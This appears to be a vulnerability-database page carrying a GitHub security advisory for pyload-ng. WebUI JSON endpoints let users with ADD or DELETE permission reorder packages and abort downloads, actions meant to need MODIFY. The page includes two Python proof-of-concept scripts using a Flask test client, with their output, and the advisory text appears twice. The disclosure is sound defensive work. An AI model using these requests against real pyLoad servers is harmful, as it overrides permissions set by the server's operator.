Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
5.4
pyLoad WebUI Allows Unauthorized Access to Actions
GHSA-rfgh-63mg-8pwm
Summary
An authenticated user with 'ADD' or 'DELETE' permission can execute actions meant for 'MODIFY' permission. This can lead to unintended changes to the system. To fix this, update the WebUI JSON endpoints to use the correct permissions.
What to do
No fix is available yet. Check with your software vendor for updates.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | pyload-ng | <= 0.5.0b3 | – |
Original title
pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
Original description
### Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`
- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`
### Details
pyLoad defines granular permissions in core API:
- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)
- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)
- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)
But WebUI JSON routes use weaker checks:
- `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)
- `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)
- `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)
Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with `MODIFY`:
- `/json/move_package` -> `@login_required("MODIFY")` (`json_blueprint.py:188-196`)
- `/json/edit_package` -> `@login_required("MODIFY")` (`json_blueprint.py:202-217`)
- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.
### PoC
Environment:
- Repository version: `0.5.0b3` (`VERSION` file)
- Commit tested: `ddc53b3d7`
PoC A (ADD-only user invokes MODIFY-only reorder):
```python
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})
print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
```
Observed output:
```text
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
```
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
```python
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'u'
def stop_downloads(self, ids):
self.calls.append(('stop_downloads', ids))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'u'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.DELETE)
r = c.post('/json/abort_link', json={'link_id': 999})
print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)
```
Observed output:
```text
API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]
```
### Impact
Type:
- Improper authorization / permission-bypass between WebUI and core API permission model.
Scope:
- Horizontal privilege escalation among authenticated non-admin users.
- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.
Security impact:
- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.
- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`
- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`
### Details
pyLoad defines granular permissions in core API:
- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)
- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)
- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)
But WebUI JSON routes use weaker checks:
- `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)
- `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)
- `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)
Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with `MODIFY`:
- `/json/move_package` -> `@login_required("MODIFY")` (`json_blueprint.py:188-196`)
- `/json/edit_package` -> `@login_required("MODIFY")` (`json_blueprint.py:202-217`)
- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.
### PoC
Environment:
- Repository version: `0.5.0b3` (`VERSION` file)
- Commit tested: `ddc53b3d7`
PoC A (ADD-only user invokes MODIFY-only reorder):
```python
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})
print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
```
Observed output:
```text
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
```
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
```python
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'u'
def stop_downloads(self, ids):
self.calls.append(('stop_downloads', ids))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'u'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.DELETE)
r = c.post('/json/abort_link', json={'link_id': 999})
print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)
```
Observed output:
```text
API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]
```
### Impact
Type:
- Improper authorization / permission-bypass between WebUI and core API permission model.
Scope:
- Horizontal privilege escalation among authenticated non-admin users.
- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.
Security impact:
- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.
- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.
ghsa CVSS3.1
5.4
Vulnerability type
CWE-285
Improper Authorization
CWE-863
Incorrect Authorization
Published: 8 Apr 2026 · Updated: 8 Apr 2026 · First seen: 8 Apr 2026